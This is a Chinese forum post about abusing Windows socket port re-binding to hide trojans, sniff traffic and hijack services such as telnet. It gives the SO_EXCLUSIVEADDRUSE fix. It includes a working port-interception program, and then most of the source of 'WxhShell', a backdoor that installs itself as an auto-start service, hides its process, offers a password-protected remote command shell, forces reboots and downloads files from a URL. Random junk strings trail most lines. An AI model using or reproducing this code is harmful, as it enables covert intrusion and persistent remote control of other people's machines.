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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: gDBQ\vM8  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); t|,Ex7  
e;Z`&  
  saddr.sin_family = AF_INET; + opN\`  
{;~iq  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); '%7]xp  
{Z;GNMO:  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); +F6_P  
BFRSYwPr  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 X+BSneu  
*g}&&$b0  
  这意味着什么?意味着可以进行如下的攻击: XsMphZnK  
b,sc  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 )xs,  
nlnJJM&J $  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) M- A}(r +J  
55en D  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 =&xoyF  
$S("- 3  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  =f|a?j,f~  
<;"=ah7A  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 cC]1D*Bn  
CR=MjmH  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 %P6!vx:&^b  
pZn%g]nRD  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 _ h-X-s Y  
HK.J/Zr  
  #include cW%O-  
  #include jg/<"/E  
  #include .k(_ j.v  
  #include    <5^(l$IBj  
  DWORD WINAPI ClientThread(LPVOID lpParam);   !d )i6W?  
  int main() VG7#6)sQoK  
  { q,Q|Uvpk  
  WORD wVersionRequested; h}_q  
  DWORD ret; J8'zvH&I  
  WSADATA wsaData; m @ ?e <$  
  BOOL val; f ebh1rUX  
  SOCKADDR_IN saddr; fe/6JV  
  SOCKADDR_IN scaddr; e8v=n@0  
  int err; SW, Po>Y  
  SOCKET s; a^,RbV/  
  SOCKET sc; hdb4E|'A  
  int caddsize; ?^Ux+mVE  
  HANDLE mt; jXR+>=_  
  DWORD tid;   <rF  
  wVersionRequested = MAKEWORD( 2, 2 ); (iP,YKG1?  
  err = WSAStartup( wVersionRequested, &wsaData ); _ RYZyw   
  if ( err != 0 ) { K@lV P!z  
  printf("error!WSAStartup failed!\n"); EC/R|\d?Un  
  return -1; xnOlV  
  } _XPc0r:?>  
  saddr.sin_family = AF_INET; u&bU !ZI  
   bc-)y3gHU  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 vL0Ol -Vt  
:Aw VeX@  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); dG+xr!  
  saddr.sin_port = htons(23); *@^0xz{\z  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) zBfBYhS-  
  { TQH#sx  
  printf("error!socket failed!\n"); +Eg# 8/q  
  return -1; }lVUa{ubf  
  } E(#2/E6  
  val = TRUE; e:<> Yq+  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 uU s>/+  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) cGKk2'v?  
  { 4N&}hOM'S  
  printf("error!setsockopt failed!\n"); 2D"/k'iA  
  return -1; q4oZJ-`  
  } QeoDq  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; t1S~~FLE  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 <Z;BB)I&C`  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 70eN]OY  
:Ib\v88WIv  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) WTx;,TNG  
  { L8Q!6oO=<  
  ret=GetLastError(); Y`uCDfcQ  
  printf("error!bind failed!\n"); htaLOTO;A  
  return -1; J;dFmZOk  
  } ;q2T*4NN  
  listen(s,2); 6~LpBlb  
  while(1) [G*mQ@G9  
  { ;U&VPIX$  
  caddsize = sizeof(scaddr); Z)%p,DiNM  
  //接受连接请求 e`^j_V nEH  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); |~Iw   
  if(sc!=INVALID_SOCKET) F ReK  
  { T*m_rDDt  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); da@ .J9  
  if(mt==NULL) v#xF;@G  
  { |Oe6OCPf  
  printf("Thread Creat Failed!\n"); Wt =[R 4=  
  break; 2_Z6 0]  
  } 9 pn1d.  
  } It[~0?+  
  CloseHandle(mt); FBsw\P5w  
  } 0'uj*Y{L  
  closesocket(s); hkG<I';M?M  
  WSACleanup(); .anL}OA_q  
  return 0; uHYI :(O  
  }   q`hg@uwA{`  
  DWORD WINAPI ClientThread(LPVOID lpParam) 75y#^pD?c  
  { b%(0AL  
  SOCKET ss = (SOCKET)lpParam; z~qQ@u|  
  SOCKET sc; Qw:j2g2H7  
  unsigned char buf[4096]; Alz#zBGb  
  SOCKADDR_IN saddr; ff0,K#-  
  long num; syF/jWM5  
  DWORD val; *O~D lf  
  DWORD ret; G`jhzG  
  //如果是隐藏端口应用的话,可以在此处加一些判断 >\ W" 3.  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   0dW1I|jR  
  saddr.sin_family = AF_INET; vq}V0- <  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); J']W7!p  
  saddr.sin_port = htons(23); 5> UgBA  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) gQ~4udla.  
  { DVd/OU  
  printf("error!socket failed!\n"); -SQYr  
  return -1; A:f+x|[  
  } \]K-<&f  
  val = 100; Zh@\+1]  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) f+ &yc'[  
  { 0W)_5f&  
  ret = GetLastError(); n !QjptQ  
  return -1; ]+AI:  
  } $1e@3mzM  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) H\T h4teE  
  { <IYt*vlm  
  ret = GetLastError(); 4.8,&{w<m  
  return -1; _~!,x.Dbp  
  } 7Do)++t  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) \MU4"sXw  
  { PA E)3  
  printf("error!socket connect failed!\n"); &N EzKf  
  closesocket(sc); JsV#:  
  closesocket(ss); S<TfvQ\,"@  
  return -1; DQSv'!KFO  
  } T(6S~; ,Z  
  while(1) /bWV `*  
  { !E%!,  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 (<12&=WxE  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 wZ^/-  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 [kCn6\_<V  
  num = recv(ss,buf,4096,0); J [1GP_  
  if(num>0) x;+,lP  
  send(sc,buf,num,0); x K/`XY  
  else if(num==0) wgrYZ^]  
  break; rO NLbrj  
  num = recv(sc,buf,4096,0); T*oH tpFj#  
  if(num>0) aD4ln]sFxG  
  send(ss,buf,num,0); ,#crtX  
  else if(num==0) A)xI. Q6  
  break; -Jhf]  
  } *)`:Nm~y  
  closesocket(ss); {1o=/&  
  closesocket(sc); }V 1sY^C  
  return 0 ; G 6][@q  
  } z# y<QH  
E$cr3 t7Xy  
+wmfl:\^{H  
========================================================== ! `SR$dnE  
]C!u~A\jq  
下边附上一个代码,,WXhSHELL Ac|`5'/Tx  
|A2.W8`o  
========================================================== vjHbg#0%  
_7Z$"  
#include "stdafx.h" t[<=QK  
L8V'mUyD  
#include <stdio.h> CTwP{[%Pk  
#include <string.h> vOqT Ld  
#include <windows.h> j1BYSfX'  
#include <winsock2.h> /:S.(" Unv  
#include <winsvc.h> eA!aUu  
#include <urlmon.h> H:|yu  
<a'j8pw9i  
#pragma comment (lib, "Ws2_32.lib") 2]@U$E='s  
#pragma comment (lib, "urlmon.lib") z >pq<}R6  
Ss8`;>  
#define MAX_USER   100 // 最大客户端连接数 A3Su&0uaB  
#define BUF_SOCK   200 // sock buffer  9( m^^  
#define KEY_BUFF   255 // 输入 buffer 69_c,(M0  
(vQShe\  
#define REBOOT     0   // 重启 lU\|F5O@#  
#define SHUTDOWN   1   // 关机 qB8<(vBP+  
%hXa5}JL  
#define DEF_PORT   5000 // 监听端口 }Iu6]?|'  
}RD,JgmV  
#define REG_LEN     16   // 注册表键长度 G",+jR]  
#define SVC_LEN     80   // NT服务名长度 D,NjDIG8  
"DUL} "5T  
// 从dll定义API 5vS'Qhc  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); R8ZW1  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); pM>.z9  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); +'[iyHBJ  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 3m x7[Q  
~WVrtYJu  
// wxhshell配置信息 m^TkFt<BM  
struct WSCFG { ;$W|FpR2  
  int ws_port;         // 监听端口 [9w8oNg0  
  char ws_passstr[REG_LEN]; // 口令 *`dGapd3  
  int ws_autoins;       // 安装标记, 1=yes 0=no [x@iqFO9  
  char ws_regname[REG_LEN]; // 注册表键名 uz%rWN`{  
  char ws_svcname[REG_LEN]; // 服务名 &)rmv  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 b+{yF  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 c^m}ep\F5L  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 5^%FEZ&Sp  
int ws_downexe;       // 下载执行标记, 1=yes 0=no vwP83b0ov"  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" l!GAMK 6o  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 C3 D1rS/I  
~V(WD;Mk  
}; ,#s}nJ4  
9D&ocV3QV  
// default Wxhshell configuration ~x824xW  
struct WSCFG wscfg={DEF_PORT, =s;7T!7!  
    "xuhuanlingzhe", $[IuEdc/  
    1, OYe @P  
    "Wxhshell", .rwZ`MP  
    "Wxhshell", ,UY],;ib  
            "WxhShell Service", dD#A.C,Rz  
    "Wrsky Windows CmdShell Service", S]k<Ixvf  
    "Please Input Your Password: ", lx%<oC+M  
  1, d kPfdK}G  
  "http://www.wrsky.com/wxhshell.exe", *`|F?wF  
  "Wxhshell.exe" XWK A0  
    }; v\Q${6kEtx  
SC'fT!  
// 消息定义模块 1;SWfKU?.  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; c\n\gQ:LQ  
char *msg_ws_prompt="\n\r? for help\n\r#>"; S_C+1e  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; < =sO@0(<  
char *msg_ws_ext="\n\rExit."; K4y4!zz  
char *msg_ws_end="\n\rQuit."; `^RpT]S  
char *msg_ws_boot="\n\rReboot..."; {gzL}KL  
char *msg_ws_poff="\n\rShutdown..."; EWbFy"=  
char *msg_ws_down="\n\rSave to "; xaejG/'iK  
7Qz Uw  
char *msg_ws_err="\n\rErr!"; SeKU ?\  
char *msg_ws_ok="\n\rOK!"; !5pnl0DK*  
j:rGFd  
char ExeFile[MAX_PATH]; $ -;,O8yR  
int nUser = 0; `j@2[XdHu  
HANDLE handles[MAX_USER]; ij/ |~-!  
int OsIsNt; kAU[lPt*R  
U^[<G6<9]  
SERVICE_STATUS       serviceStatus; 7?e*b(vd  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; vWwp'q  
e;!si>N  
// 函数声明 uT ngDk  
int Install(void); :+; U W \  
int Uninstall(void); |R DPx6!V  
int DownloadFile(char *sURL, SOCKET wsh); W$  M4#  
int Boot(int flag);  #\Lt0  
void HideProc(void); 2B5Z0<  
int GetOsVer(void); _z~|*7@  
int Wxhshell(SOCKET wsl); B_nim[72  
void TalkWithClient(void *cs); | M4_@P  
int CmdShell(SOCKET sock); 9>%ti&_-jt  
int StartFromService(void);  GVe[)R  
int StartWxhshell(LPSTR lpCmdLine); BG/M3  
y?;&(Tcbt8  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); eA4@)6WP(  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); an=8['X  
~[t%g9  
// 数据结构和表定义 b v~"_)C  
SERVICE_TABLE_ENTRY DispatchTable[] = P;{f+I|`  
{ )mS Aog<  
{wscfg.ws_svcname, NTServiceMain}, gm\P`~+o  
{NULL, NULL} >`SIB; &>j  
}; c&J,O1){\  
44b;]htv  
// 自我安装 Z-.`JkKd8  
int Install(void) m o nqaSF  
{ 0DV .1  
  char svExeFile[MAX_PATH]; 5_9mA4gs@  
  HKEY key; ^,qi` Tk  
  strcpy(svExeFile,ExeFile); 7NE"+EP\{2  
ZXh6Se4o  
// 如果是win9x系统,修改注册表设为自启动 FY@ErA7~  
if(!OsIsNt) { UW_fn  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =E,^ +`M  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >S,yqKp37~  
  RegCloseKey(key); +"'cSAK  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { n3 -5`Jti  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); p<: bP w  
  RegCloseKey(key); Gk g)\ 3  
  return 0; mbK$_HvU  
    } k|'{$/ n  
  } ~*@ UQ9*p#  
} >/9f>d?w^  
else { !8(: G6Ne  
9{]U6A*K0w  
// 如果是NT以上系统,安装为系统服务 vlY83mU.  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 8XIG<Nc  
if (schSCManager!=0) &Rdg07e;>  
{ HN]roSt~  
  SC_HANDLE schService = CreateService Y92 w L}  
  ( EIPNR:6t  
  schSCManager, j}ywdP`a  
  wscfg.ws_svcname, Q$^oIFb  
  wscfg.ws_svcdisp, Ru9QQaHE  
  SERVICE_ALL_ACCESS, _8P0iC8Zg#  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , aEM2xrhy,  
  SERVICE_AUTO_START, P>j^w#$n  
  SERVICE_ERROR_NORMAL, 6 GqR]KD  
  svExeFile, y@Z@ eK3  
  NULL, xp7 `[.  
  NULL, rozp  
  NULL, m-Z<zEQ  
  NULL, 4i|yEf  
  NULL LVP2jTz  
  ); 38#BINhBt  
  if (schService!=0) MH7 n@.t  
  { nLicog)!I  
  CloseServiceHandle(schService); F!(Vg  
  CloseServiceHandle(schSCManager); R OsR;C0!  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); H]As2$[  
  strcat(svExeFile,wscfg.ws_svcname); 8w /$!9[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { W;!OxOWZJ  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ;5Spdi4w  
  RegCloseKey(key); H\H4AAP5F$  
  return 0; cBZ$$$v\#  
    } pY]T3 2  
  } 9K,PT.c  
  CloseServiceHandle(schSCManager); kCRfO}wt3  
} (d mLEt  
} ?gD^K,A Hd  
c_wvuKa  
return 1; Pfi|RTX$'*  
} +L(|?|i8  
a|S6r-_;s  
// 自我卸载 pDqX% $^  
int Uninstall(void) !1(*D*31  
{ L8R{W0Zr>!  
  HKEY key; n<q1itjD  
d^h`gu~3  
if(!OsIsNt) { y``[CBj  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { f3PDLQA  
  RegDeleteValue(key,wscfg.ws_regname); Bl[4[N  
  RegCloseKey(key);  /5M0[C E  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %  ]G'u  
  RegDeleteValue(key,wscfg.ws_regname); 7W[+e&  
  RegCloseKey(key); mk.1jx ?l  
  return 0; Hw29V //  
  } u|(;SY  
} ./5LV)_`  
} -J &y]'  
else { Z:eB9R#2y  
|xYr0C[Pq  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); k4T`{s}e  
if (schSCManager!=0) HE!"3S2S&+  
{ 0MpZdJ  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Z;/QB6|%  
  if (schService!=0) Y]!WPJ`f2  
  { O1+OE!w  
  if(DeleteService(schService)!=0) { "{9^SPsp  
  CloseServiceHandle(schService); +%Z#!1u  
  CloseServiceHandle(schSCManager); gpT~3c;l=  
  return 0; Z=R 6?jU*n  
  } wCQ.?*7-9Q  
  CloseServiceHandle(schService); At<D36,^"  
  } JsP<etX  
  CloseServiceHandle(schSCManager); ~aBf.  
} (>49SOu;$\  
} 2`dKnaF|  
C*X=nezq  
return 1; ibP IT!5c  
} 3ch<a0  
>:J7u*>$'  
// 从指定url下载文件 x&p.-Fi  
int DownloadFile(char *sURL, SOCKET wsh) )x5t']w`K  
{ 4yK{(!&i+  
  HRESULT hr; +L0Jje>Az  
char seps[]= "/"; f/PqkHF  
char *token; N =T 0Td  
char *file; Kj53"eW  
char myURL[MAX_PATH]; e@h (Zwp  
char myFILE[MAX_PATH]; h-.xx 4D  
 ^t}1 $H  
strcpy(myURL,sURL); Lm&BT)*  
  token=strtok(myURL,seps); l4bL N  
  while(token!=NULL) po9f[/s'+o  
  { -kk0zg &|i  
    file=token; Talmc|h  
  token=strtok(NULL,seps); "LNLM  
  } =O%Hf bx  
G!)Q"+  
GetCurrentDirectory(MAX_PATH,myFILE); ;~,)6UX7  
strcat(myFILE, "\\"); F,8?du]  
strcat(myFILE, file); rSa=NpFxLu  
  send(wsh,myFILE,strlen(myFILE),0); FW"n+7T  
send(wsh,"...",3,0); Nn#;Kjul.  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); <EKTFHJ!  
  if(hr==S_OK) p!o-+@ava  
return 0; Np"~1z.(b  
else `O0bba=:=  
return 1; "l 8YD&q  
#=V\WQb  
} sTS/ ]"l  
5pU/X.lc  
// 系统电源模块 G\z5Ue*  
int Boot(int flag) 6$)FQ U  
{ !$NQF/Ol  
  HANDLE hToken; 4#,,_\r  
  TOKEN_PRIVILEGES tkp; S3UJ)@ E  
BgT(~8'  
  if(OsIsNt) { 0`/CoP<U  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); []jbzVwS2  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 11vAx9  
    tkp.PrivilegeCount = 1; .~C%:bDnX7  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; .?`8B9w  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); "m%EFWUOl  
if(flag==REBOOT) { Wl7S<>hg4  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) :K~sazs7J  
  return 0; GG`j9"t4  
} i A<'i8$P  
else { 6p9 { z42  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) }_BNi;H  
  return 0; VAo`R9^D#  
} a!EW[|[Q  
  } ;F_P<b 2  
  else { w^9< I]  
if(flag==REBOOT) { 34QW^{dgE  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) O!t=,F1j  
  return 0; lMl'+ yy  
} DheQcM  
else { h=qT@)h1>  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) UhJ{MUH`  
  return 0; ][KlEE>W2  
} @?jtB  
} +cbF$,M4  
.C.b5x!  
return 1; _K&Hiz/'  
} XG!6[o;  
]j!pK4  
// win9x进程隐藏模块 mMvAA;  
void HideProc(void) bU[_YuJbM  
{ d}%-vm} 0  
mE=Ur  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ?6]B6  
  if ( hKernel != NULL ) ~%2yDhdQ  
  { + MD84YR  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); p6aR/gFkqv  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); sH>`eqY  
    FreeLibrary(hKernel); D2GF4%|  
  } }'?qUy3x  
8A5/jqnqt  
return; x4/{XRQ  
} 6{{<+ o  
{kBsiSvsA;  
// 获取操作系统版本 ]28j$)6  
int GetOsVer(void) QT5pn5+ z  
{ r \[|'hA  
  OSVERSIONINFO winfo; I:HrBhI)wP  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 4AKr.a0q  
  GetVersionEx(&winfo); =j{tFxJ  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 4l{$dtKbI  
  return 1; 93Zij<bH?e  
  else =@pD>h/~  
  return 0; sgDSl@lB  
} rB{w4  
&4+|{Zx0  
// 客户端句柄模块 0b/@QgJ  
int Wxhshell(SOCKET wsl) {bADMj1  
{ _n/73Oh  
  SOCKET wsh; C\joDAD  
  struct sockaddr_in client; g ?xD*3 <  
  DWORD myID; OrYN-A4{  
//;(KmU9  
  while(nUser<MAX_USER) Hq+QsplG  
{ d3|/&gDBK  
  int nSize=sizeof(client); (w{T[~6  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); j!y9E~Zz  
  if(wsh==INVALID_SOCKET) return 1; IuT)?S7O*k  
;c>"gW8  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); SO.u0!  
if(handles[nUser]==0) j RcE241  
  closesocket(wsh); kG{};Vm  
else Y9|!= T%  
  nUser++; 4'=Q:o*w`  
  } gS'7:UH,  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); >~Xe` }'  
Yku6\/^  
  return 0; 6PYm?i=p?  
} -KV,l  
@0s' (  
// 关闭 socket _"Z?O)d*  
void CloseIt(SOCKET wsh) NuSdN> 8ll  
{ c|JQ0] K  
closesocket(wsh); #HH[D;z  
nUser--; $,J}w%A  
ExitThread(0); ,(a~vqNQW3  
} ]{q=9DczG(  
|!9xL*A  
// 客户端请求句柄 UWEegFq*  
void TalkWithClient(void *cs) "?F[]8F.b  
{ V8):!  
2J{vfF  
  SOCKET wsh=(SOCKET)cs; )c&ya|h  
  char pwd[SVC_LEN]; 6)ibXbH  
  char cmd[KEY_BUFF]; 6u#eLs  
char chr[1]; 1U#W=Fg'  
int i,j; _B#x{ii  
jrFPd  
  while (nUser < MAX_USER) { B1J,4  
yf0v,]v[  
if(wscfg.ws_passstr) { pi~5}bF!a  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 05k'TqT{c  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #O !2  
  //ZeroMemory(pwd,KEY_BUFF); m~*qS4  
      i=0; ]Q ]y*  
  while(i<SVC_LEN) {  @--"u_[  
|'1.a jxw  
  // 设置超时 Jz>P[LcB  
  fd_set FdRead; (*P`  
  struct timeval TimeOut; ;akW i]  
  FD_ZERO(&FdRead); 3vcyes-U  
  FD_SET(wsh,&FdRead); Pg8boN]}  
  TimeOut.tv_sec=8; km C0.\  
  TimeOut.tv_usec=0; g%"SAeG<K  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); l[IL~  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); z[1uub,)1  
:d9GkC  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ; M0`8MD  
  pwd=chr[0]; JZ`SV}\`  
  if(chr[0]==0xd || chr[0]==0xa) { f.uuXK  
  pwd=0; bR) P-9rs  
  break; u&1M(~Ub=  
  } i8k} B o  
  i++; fMFkA(Of^  
    } &"JC8  
yQUrHxm  
  // 如果是非法用户,关闭 socket jvsSP?]n  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Zs79,*o+0M  
} ~dEo^vJD  
-k7b# +T  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); $(;Ts)P  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Ycm.qud ?  
~EY)c~ H  
while(1) { 3'kKbrk [  
7Z`4Kdh .  
  ZeroMemory(cmd,KEY_BUFF); T@.+bD  
&Pm@+ML*x  
      // 自动支持客户端 telnet标准   P$Vh{]4i{  
  j=0; fsPNxy"_  
  while(j<KEY_BUFF) { EBW*v '  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); L!l?tM o  
  cmd[j]=chr[0]; o.NU"$\?  
  if(chr[0]==0xa || chr[0]==0xd) { J.:  
  cmd[j]=0; lqv}~MC  
  break; Q2Ey RFT  
  } ? OF $J|h  
  j++; QxLrpM"O  
    } fqbeO9x  
VnSO>O  
  // 下载文件 7F>]zrbK  
  if(strstr(cmd,"http://")) { kVM*[<k  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ~&p]kmwXSX  
  if(DownloadFile(cmd,wsh)) O0z-jZ,])  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); NR(rr.  
  else USN'-Ah  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); o g9|}E>  
  } ?>*d82yO  
  else { yW1N&$n  
i^jM9MAi  
    switch(cmd[0]) { O4f9n  
  fJ.=,9:<  
  // 帮助 Y=<ABtertS  
  case '?': { ~FYC'd  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); yC5>k;/6#K  
    break; 6wB !dl  
  } ef{Hj[8  
  // 安装 *vRHF1)L  
  case 'i': { eWm'eO  
    if(Install()) <:/aiX8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); v"(6rZsa  
    else #S/~1{   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hlV(jz  
    break; p+b9D  
    } ~I> |f  
  // 卸载 /_cpS q  
  case 'r': { UdkNb}L  
    if(Uninstall()) [= E=H*j  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); HI D6h!  
    else 4IfkYM  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); w/o8R3 F  
    break; 9m>L\&\_e  
    } Th%w-19,8  
  // 显示 wxhshell 所在路径 lmoYQFkYP  
  case 'p': { |AvsT{2  
    char svExeFile[MAX_PATH]; ~!TrC <ft  
    strcpy(svExeFile,"\n\r"); ._x"b5C  
      strcat(svExeFile,ExeFile); : c iwh  
        send(wsh,svExeFile,strlen(svExeFile),0); >^9j>< Z  
    break; !lEV^SQJs  
    } }.|a0N 5  
  // 重启 ZU B]qzmK  
  case 'b': { ?UflK  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); !$iwU3~<  
    if(Boot(REBOOT)) Z%.L d2Q{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); x?{l<mc  
    else { lxXF8c>U  
    closesocket(wsh); 5C`Vno~v  
    ExitThread(0); ',FVT4OMw  
    } SP2";,%/9  
    break; ;+f(1=x  
    } j/uMSE  
  // 关机 epk C '  
  case 'd': { : LX!T&  
